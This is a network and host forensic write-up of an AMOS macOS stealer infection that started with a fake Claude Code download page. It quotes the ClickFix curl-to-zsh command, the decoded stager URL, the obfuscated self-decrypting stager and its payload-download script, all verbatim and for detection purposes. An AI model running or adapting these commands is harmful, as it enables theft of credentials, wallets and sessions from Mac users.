>_PJ
Write-upmacosstealernetwork-analysisclickfix

Dissecting an AMOS Stealer infection, packet by packet

October 202614 min readverified against working copies

Packet waveform banner — Google search for Claude Code, a Mac, and exfiltrated archives

October 2026 — a Friday-night capture, 19 minutes of traffic, and one very fake Claude Code ad.

I pulled this infection apart a couple of weeks ago and I've been sitting on the notes. Figured it was time to write it up properly — not the IOC-list style write-up (Brad already did that over at malware-traffic-analysis.net, and this exercise uses his capture and extracted files), but the how I actually know what I know version. Packet evidence, hashes, the decoding steps in between, and the math at the end.

The 30-second version

The victim searched Google for Claude Code, clicked a sponsored result, got bounced through uerp.com to claude-desk-code.com, and pasted an "installer" command into a terminal. That command was ClickFix — a base64-wrapped curl | zsh. Nineteen minutes later the machine had a Mach-O stealer in /tmp, two fake-Apple LaunchDaemons, and 3.7 MB of wallet/cloud-credential data on a server in someone else's hands.

AMOS infection chain: ClickFix lure to exfiltration
The infection chain, packet by packet — ClickFix lure, staged download, persistence, and the exfiltration.

Here's the whole thing on one line of DNS, straight from the pcap:

Time from captureProtocolDomainObservation
0 sDNSuerp.com / claude-desk-code.comlure — the fake Claude Code ad
98.20DNSlake-90.com.stager fetched here
98.71DNSloop-88.com.first telemetry beacon
254.35DNSdelta-canvas.com.persistence downloads

Read those timestamps twice. The lure DNS happens in the first second of the capture. The stager doesn't land until t+98 s — that's a human reading a fake download page and copy-pasting. And then look at the gap between 98 s and 254 s. More on that later, because that gap is the most interesting thing in this whole capture.

Packet-level evidence

I don't have Wireshark on this box, so I wrote a small Python pcap parser — Ethernet/IPv4/TCP/UDP decode, SYN-anchored flows, DNS name extraction. 27,893 packets, 19.6 minutes, 150 TCP flows. Here's the infection as the wire saw it.

The telemetry burst right after the Mach-O lands

Six POSTs in under a second, every one of them User-Agent: curl/, each from a different source port:

Time (s)ProtocolSourceDestinationSizeHTTP Request
101.21TCP10.10.2.178:49159152.42.143.45:80346 BPOST /api/metrics/run HTTP/1.1
101.63TCP10.10.2.178:49160152.42.143.45:80352 BPOST /api/metrics/run HTTP/1.1
101.68TCP10.10.2.178:49161152.42.143.45:80350 BPOST /api/metrics/run HTTP/1.1
101.81TCP10.10.2.178:49162152.42.143.45:80351 BPOST /api/metrics/run HTTP/1.1
101.87TCP10.10.2.178:49163152.42.143.45:80348 BPOST /api/metrics/run HTTP/1.1
101.91TCP10.10.2.178:49164152.42.143.45:80347 BPOST /api/metrics/run HTTP/1.1

Six ~350-byte POSTs, fired 0.5–0.6 s apart, straight off the stager's execution. Those are the stage-tracking beacons (event=stager), one per pipeline step. If you see a Mac making short curl-UA POSTs to a bare IP in tight sequence, that's this pattern.

The exfiltration, bucketed by uploaded bytes

Uploaded bytes, 10-second windows (10.10.2.178 → 152.42.143.45)text
t=100–110s : 0.01 MB   (telemetry)
t=240–250s : 3.08 MB   <- the exfiltration
t=250–260s : 0.68 MB

total bytes 10.10.2.178 -> 152.42.143.45 over the whole capture: 3,775,146

One connection. 7.2 seconds. 3.76 MB going up to a bare IP on port 80, in a capture where the median "big" upload before that was a 10 KB webpage asset. You don't need an IOC list to flag that — you need a byte-counter and one comparison against the host's own baseline.

Why volume-based triage misses it

The CSV below is my eta-ranked triage of the capture's flows — a "show me the biggest talkers first" pass. Notice where the actual IOC flows land. The exfiltration to 152.42.143.45 doesn't even crack the top 30. Plain CDN and Apple traffic buries it:

RankDestinationPortRelative timeBytesVerdict
1104.18.41.41443t+947s10,561—
2172.67.149.20443t+946s8,599—
5151.101.180.116443t+945s7,347—
13199.91.221.480t+1153s437IOC — C2
29199.91.221.449178t+1153s360IOC — C2
34152.42.143.4580t+207s676IOC — exfil channel
58152.42.143.4580t+242s674IOC — exfil channel
97152.42.143.4549159t+96s319IOC — beacon

The whole malicious footprint — beacons, staging, exfiltration — ranks between 13 and 97 by volume. Sorting by bytes is a CDN popularity contest. The anomaly isn't that these flows are big; it's that a Mac that never uploads anything suddenly sends 3.76 MB to a bare IP on port 80. Baseline the host, not the network.

↓ amos_triage.csvFull eta-ranked flow triage (100 flows) with IOC flags.CSV

The artifacts and their hashes

Everything below is what the infection dropped or what Brad extracted; hashes recomputed by me from the working copies.

SHA-256ArtifactSize / Notes
28d369dc858136b1199fa70ece32475755f3df7128…stager zsh script3,106 B
b8203f746809b2d4ba30cf…stager, layer-1 decoded1,744 B
39c699ce274b83dfdebd15d54899485ac9934dfb…stager, layer-2 deobfuscated1,162 B
5b5e18302d0191831d267429120598d2f274f7ae…Mach-O payload (/tmp/.zxqa03cu)universal binary, 2 archs

The three stager hashes matter more than they look. They are the decoding intermediates — proof of the path from "what the victim pasted" to "what actually ran" — and each step is reversible.

file, sha256sum and xxd output on the Mach-O payload
The payload is a Mach-O universal binary (fat header cafe babe, two architectures) — identified by file, hashed, and hex-dumped.
String reconnaissance on the stealer binary
String reconnaissance on the stealer binary — the interesting URLs don't appear as plaintext; they live behind the layers below.

Decoding intermediates

Step 1 — what the page told the victim to paste

The ClickFix command, verbatim from the fake download pagebash
echo "Downloading Claude: https://claude.ai/install.sh" && curl -s $(echo "aHR0cHM6Ly9sYWtlLTkwLmNvbS9jdXJsL2V2MjRzdmdwL3Y2ZzhoNzUyMGgyMGNzZjJyb2JrOW0uanNvbg==" | openssl base64 -d -A) | zsh

The base64 decodes to the stager URL — I ran it, you can run it:

base64 decode → stager URLbash
$ base64 -d <<< 'aHR0cHM6Ly9sYWtlLTkwLmNvbS9jdXJsL2V2MjRzdmdwL3Y2ZzhoNzUyMGgyMGNzZjJyb2JrOW0uanNvbg=='
https://lake-90.com/curl/ev24svgp/v6g8h7520h20csf2robk9m.json
Base64 decode of the ClickFix payload revealing the stager URL
One base64 layer down and the "Claude installer" is already a plain curl to lake-90.com.

Step 2 — the stager itself

The downloaded script is a zsh file that hides everything behind octal-escaped printf fragments. \155\144\065 is "md5". \170\170\144 is "xxd". And the payload is an AES-128-CTR blob that decrypts itself:

Self-decrypting payload inside the stagerbash
zk4wo=$(printf '\155\144\065')      # md5
r5k1r=$(printf '\170\170\144')      # xxd
s6wc='op'; hjrh='enssl'
slyo='gunz'; u7cw='ip'
_k=$(printf '%s' "$_kb" | ${zk4wo})
_r=$(printf '%s' "${_pack[@]}" | ${r5k1r} -r -p | ${s6wc}${hjrh} enc -d -aes-128-ctr \
     -K "$_k" -iv 00000000000000000000000000000000 | ${slyo}${u7cw})
/bin/zsh -c "$_r"

The key _k is derived as md5() of an arithmetic expression over the lengths of decoy variables (_channel, _flavor, _fanout) — that's hash 28d369dc… above. Run the decryption and you get the 1,744-byte intermediate.

Six-step decoding workflow from ClickFix command to Mach-O payload
The full decoding workflow: ClickFix command → base64 → zsh stager → deobfuscation → AES-128-CTR → Mach-O payload.

Step 3 — what the intermediate actually says

Deobfuscated stager, layer 2bash
b2ya6r=$(printf 'https://loop-88.com/api/metrics/run?event=pasted')
${h89j4} ... -X POST -H 'user: AgLfxMKu…' -H 'BuildID: AgLUSkA5…' "${b2ya6r}" ... &
hhd4qn=$(printf 'https://lake-90.com/f/fhi5wsf_mpmq1dks3tn4hw/oyn2lshh')
ejkpln=$(printf '/tmp/.zxqa03cu')
${h89j4} -fsSL -o ${t2uljk} ${hhd4qn} && mv ... && ${s9tdi} -c ${ejkpln} && ${vyeu3} +x ${ejkpln} \
  && { ... POST ...event=stager ... & } && ${ejkpln}

Beacon "pasted". Download the Mach-O to /tmp/.zxqa03cu. xattr -c — strip the quarantine attribute, goodbye Gatekeeper. chmod +x. Beacon "stager". Execute. That xattr -c is one command and it quietly deletes macOS's main defense against exactly this class of thing. (Hash 39c699ce… is this readable version.)

Persistence, in their own files

The persistence mechanism is two LaunchDaemons wearing Apple nametags. The plist, verbatim:

com.apple.accountsd.helper.plist — fake Apple, real persistencexml
<key>Label</key>
<string>com.apple.accountsd.helper</string>
<key>ProgramArguments</key>
<array>
    <string>/bin/bash</string>
    <string>/Users/foster.greyson/Library/Application Support/.com.apple.accountsd/.service</string>
</array>
<key>RunAtLoad</key><true/>
<key>KeepAlive</key><true/>
LaunchDaemon plist pointing to a bash wrapper in a hidden directory
Both persistence binaries are Mach-O universal binaries; the plist points to a bash wrapper hidden in a dot-directory.

com.apple.accountsd.helper is not an Apple label. com.apple.metadata.mds.worker — the second one — is also not an Apple label. Both directories start with a dot so they don't show in Finder. RunAtLoad + KeepAlive means: at every boot, forever, launch this bash wrapper, and if it ever dies, relaunch it.

The wrapper itself and the config files sit in those hidden directories — cfg.txt, session.txt, auth.txt — little nine-to-forty-three-byte text files with hashes of their own (see the table in the PDF; I hashed everything, even the 4-byte pid.txt, because why not).

Dropped service wrapper and its config file
The dropped service wrapper and its config — small, boring-looking text files doing operational bookkeeping.

The part nobody puts in an IOC list

Here's the thing I keep coming back to. Between the telemetry burst at t≈102 s and the exfiltration at t≈247 s there are 145 seconds where the network is silent and the malware is extremely busy.

Timeline showing the 145-second visibility gap between telemetry and exfiltration
The 145-second gap: network-silent, host-busy. The credential harvest lived entirely inside it.

Brad's extracted file list tells you what it was doing: staging /tmp/25823/deskwallets/Binance/, /tmp/25823/deskwallets/TonKeeper/, /tmp/25823/FileGrabber/aws/, docker/, filezilla/, gcloud/, zsh_history, /tmp/25823/passmgr/Bitwarden/, /tmp/25823/Telegram Data/ — wallets, cloud credentials, password-manager databases, Telegram sessions. Then it zipped it all, sent the zip, and deleted it.

IOCs (condensed)

  • Domains: uerp.com, claude-desk-code.com, lake-90.com, loop-88.com, delta-canvas.com
  • IPs: 152.42.143.45, 199.91.221.4, 193.233.210.226
  • Files/paths: /tmp/.zxqa03cu, ~/Library/Application Support/.com.apple.accountsd/, ~/Library/Application Support/.com.apple.metadata.mds/ — LaunchDaemon plists above
  • URIs: /api/metrics/run, /api/join/, /ws/sync/x3, /api/tasks/, /api/feed/register

Full hashes in the table above. YARA + KQL for the hunt live in my Detection-rules repo.

Takeaways

  1. ClickFix beat the user, not the OS. No exploit — a paste. Detection has to live in process lineage (zsh → curl → openssl → /bin/zsh -c), not in "malware downloaded" alerts.
  2. `xattr -c` is the whole bypass. One flag. Hunt it on temp dot-files.
  3. The exfil is a byte anomaly, not a signature. 3.7 MB up to a bare IP:80. Your egress byte counters are the detector.
  4. Watch the gaps, not just the events. 145 s of silence mid-intrusion is where the credential harvest lived. Network-only monitoring misses most of the attack; endpoint or it didn't happen.

Hashes, packets, and intermediates verified 2026-10-21 against the working copies. Parser: my own (pure Python, no libpcap bindings). The framework and detection pack referenced above are public.